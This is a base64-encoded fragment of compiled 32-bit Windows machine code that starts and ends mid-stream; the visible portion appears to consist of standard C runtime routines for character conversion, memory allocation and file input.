//4vwV8H+BehiFP//i9iD4x9ZweMGAxy1CHFEAFn2QwSAdF//dQiNRfRqBVCNRfBQ6FIRAACDxBCFwHQHuP//AADrXjP2OXXwfjL/TwR4EosPikQ19IgBiwcPtghAiQfrEA++RDX0V1Dou0b//1lZi8iD+f90xkY7dfB8zmaLRQjrH4NHBP6LRQh4CosPZokBgwcC6wwPt8BXUOj4NgAAWVmLTfxfXjPNW+gy+v7/i+Vdw1WL7IPsEFNWi3UMhfZ0GItdEIXbdBGAPgB1FItFCIXAdAUzyWaJCDPAXluL5V3DV/91FI1N8OgkBf//i0Xwg7ioAAAAAHUVi00Ihcl0Bg+2BmaJATP/R+mEAAAAjUXwUA+2BlDopSv//1lZhcB0QIt98IN/dAF+JztfdHwlM8A5RQgPlcBQ/3UI/3d0VmoJ/3cE/xXgoEIAi33whcB1CztfdHIugH4BAHQoi3906zEzwDlFCA+VwDP/UP91CItF8EdXVmoJ/3AE/xXgoEIAhcB1DugiMf//g8//xwAqAAAAgH38AHQHi034g2Fw/YvHX+k0////VYvsagD/dRD/dQz/dQjo+P7//4PEEF3DzMzMzFaLRCQUC8B1KItMJBCLRCQMM9L38YvYi0QkCPfxi/CLw/dkJBCLyIvG92QkEAPR60eLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi/D3ZCQUi8iLRCQQ9+YD0XIOO1QkDHcIcg87RCQIdglOK0QkEBtUJBQz2ytEJAgbVCQM99r32IPaAIvKi9OL2YvIi8ZewhAAVYvsg30IAHUL/3UM6FoH//9ZXcNWi3UMhfZ1Df91COiLBf//WTPA601T6zCF9nUBRlb/dQhqAP81VGlEAP8VUKFCAIvYhdt1XjkFkG9EAHRAVuiha///WYXAdB2D/uB2y1bokWv//1no5i///8cADAAAADPAW15dw+jVL///i/D/FbigQgBQ6Nov//9ZiQbr4ui9L///i/D/FbigQgBQ6MIv//9ZiQaLw+vKVYvsVot1DFcz/4X2dBtq4DPSWPf2O0UQcw/oiS///8cADAAAADPA6zwPr3UQU4tdCIXbdAlT6FRe//9Zi/hWU+gQ////i9hZWYXbdBU7/nMRK/eNBB9WagBQ6DH5//+DxAyLw1tfXl3DVYvsU1ZXM/+74wAAAI0EO5krwovw0f5qVf809VDQQgD/dQjonAAAAIPEDIXAdBN5BY1e/+sDjX4BO/t+0IPI/+sHiwT1VNBCAF9eW13DVYvsg30IAHQd/3UI6KH///9ZhcB4ED3kAAAAcwmLBMUwyUIAXcMzwF3DVYvsoXCNRAAzBQhURAB0GzPJUVFR/3Uc/3UY/3UU/3UQ/3UM/3UI/9Bdw/91HP91GP91FP91EP91DP91COiU////WVD/FUyhQgBdw1WL7FaLdRAzwIX2dF6LTQxTV4t9CGpBW2paWiv5iVUQ6wNqWloPtwQPZjvDcg1mO8J3CIPAIA+30OsCi9APtwFmO8NyDGY7RRB3BoPAIA+3wIPBAk50CmaF0nQFZjvQdMEPt8gPt8JfK8FbXl3DzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u8zpQgDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7vM6UIA2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPowQAAANnJ3djD6LcAAADr9t3Y3djZ7sPd2N3Y2ejD271i////261i////9oVp////QHQIxoVw////B8PGhXD///8B3AXE6UIAw9nJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw9u9Yv///9utYv////aFaf///0B0INnJ271i////261i////9oVp////QHQJxoVw////B+sHxoVw////Ad7Bw93Y3djbLbDpQgCAvXD///8AfwfGhXD///8BCsnDCsl0Atngw8zMzMzMzFWL7IPE4IlF4ItFGIlF8ItFHIlF9OsJVYvsg8TgiUXg3V34iU3ki0UQi00UiUXoiU3sjUUIjU3gUFFS6EYyAACDxAzdRfhmgX0IfwJ0A9ltCMnDzMzMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgHAAAAw9wF4OlCALgBAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjp/v//WsPZLCRaw4PsCN0UJItEJASDxAglAADwf+sUg+wI3RQki0QkBIPECCUAAPB/dD09AADwf3RfZosEJGY9fwJ0KmaD4CB1IZvf4GaD4CB0GLgIAAAAg/oddAfoi/7//1rD6G3+//9aw9ksJFrD3QUM6kIA2cnZ/d3Z2cDZ4dwd/OlCAJvf4J64BAAAAHPH3A0c6kIA67/dBQTqQgDZydn93dnZwNnh3B306UIAm9/gnrgDAAAAdp7cDRTqQgDrljPAw1WL7FaLdQiF9g+E6gAAAItGDDsFjF5EAHQHUOiF//7/WYtGEDsFkF5EAHQHUOhz//7/WYtGFDsFlF5EAHQHUOhh//7/WYtGGDsFmF5EAHQHUOhP//7/WYtGHDsFnF5EAHQHUOg9//7/WYtGIDsFoF5EAHQHUOgr//7/WYtGJDsFpF5EAHQHUOgZ//7/WYtGODsFuF5EAHQHUOgH//7/WYtGPDsFvF5EAHQHUOj1/v7/WYtGQDsFwF5EAHQHUOjj/v7/WYtGRDsFxF5EAHQHUOjR/v7/WYtGSDsFyF5EAHQHUOi//v7/WYtGTDsFzF5EAHQHUOit/v7/WV5dw1WL7FaLdQiF9nRZiwY7BYBeRAB0B1Dojv7+/1mLRgQ7BYReRAB0B1DofP7+/1mLRgg7BYheRAB0B1Doav7+/1mLRjA7BbBeRAB0B1DoWP7+/1mLRjQ7BbReRAB0B1DoRv7+/1leXcNVi+xWi3UIhfYPhG4DAAD/dgToK/7+//92COgj/v7//3YM6Bv+/v//dhDoE/7+//92FOgL/v7//3YY6AP+/v//Nuj8/f7//3Yg6PT9/v//diTo7P3+//92KOjk/f7//3Ys6Nz9/v//djDo1P3+//92NOjM/f7//3Yc6MT9/v//djjovP3+//92POi0/f7/g8RA/3ZA6Kn9/v//dkToof3+//92SOiZ/f7//3ZM6JH9/v//dlDoif3+//92VOiB/f7//3ZY6Hn9/v//dlzocf3+//92YOhp/f7//3Zk6GH9/v//dmjoWf3+//92bOhR/f7//3Zw6En9/v//dnToQf3+//92eOg5/f7//3Z86DH9/v+DxED/toAAAADoI/3+//+2hAAAAOgY/f7//7aIAAAA6A39/v//towAAADoAv3+//+2kAAAAOj3/P7//7aUAAAA6Oz8/v//tpgAAADo4fz+//+2nAAAAOjW/P7//7agAAAA6Mv8/v//tqQAAADowPz+//+2qAAAAOi1/P7//7a4AAAA6Kr8/v//trwAAADon/z+//+2wAAAAOiU/P7//7bEAAAA6In8/v//tsgAAADofvz+/4PEQP+2zAAAAOhw/P7//7a0AAAA6GX8/v//ttQAAADoWvz+//+22AAAAOhP/P7//7bcAAAA6ET8/v//tuAAAADoOfz+//+25AAAAOgu/P7//7boAAAA6CP8/v//ttAAAADoGPz+//+27AAAAOgN/P7//7bwAAAA6AL8/v//tvQAAADo9/v+//+2+AAAAOjs+/7//7b8AAAA6OH7/v//tgABAADo1vv+//+2BAEAAOjL+/7/g8RA/7YIAQAA6L37/v//tgwBAADosvv+//+2EAEAAOin+/7//7YUAQAA6Jz7/v//thgBAADokfv+//+2HAEAAOiG+/7//7YgAQAA6Hv7/v//tiQBAADocPv+//+2KAEAAOhl+/7//7YsAQAA6Fr7/v//tjABAADoT/v+//+2NAEAAOhE+/7//7Y4AQAA6Dn7/v//tjwBAADoLvv+//+2QAEAAOgj+/7//7ZEAQAA6Bj7/v+DxED/tkgBAADoCvv+//+2TAEAAOj/+v7//7ZQAQAA6PT6/v//tlQBAADo6fr+//+2WAEAAOje+v7//7ZcAQAA6NP6/v//tmABAADoyPr+/4PEHF5dw1WL7FGhCFREADPFiUX8i00cU1ZXM/+FyXUNi0UIiwCLQASLyIlFHFczwDlFIFf/dRQPlcD/dRCNBMUBAAAAUFH/FeCgQgCL2IXbdQczwOmRAAAAfkuB+/D//393Q40MG41BCDvBdjmNBF0IAAAAPQAEAAB3E+hEgP//i/SF9nTMxwbMzAAA6xNQ6PD7/v+L8FmF9nS3xwbd3QAAg8YI6wKL94X2dKaNBBtQV1bone7//4PEDFNW/3UU/3UQagH/dRz/FeCgQgCFwHQ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